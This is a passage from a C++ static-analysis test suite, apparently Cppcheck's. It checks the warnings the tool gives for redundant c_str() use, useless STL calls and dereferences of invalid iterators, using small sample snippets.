ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void 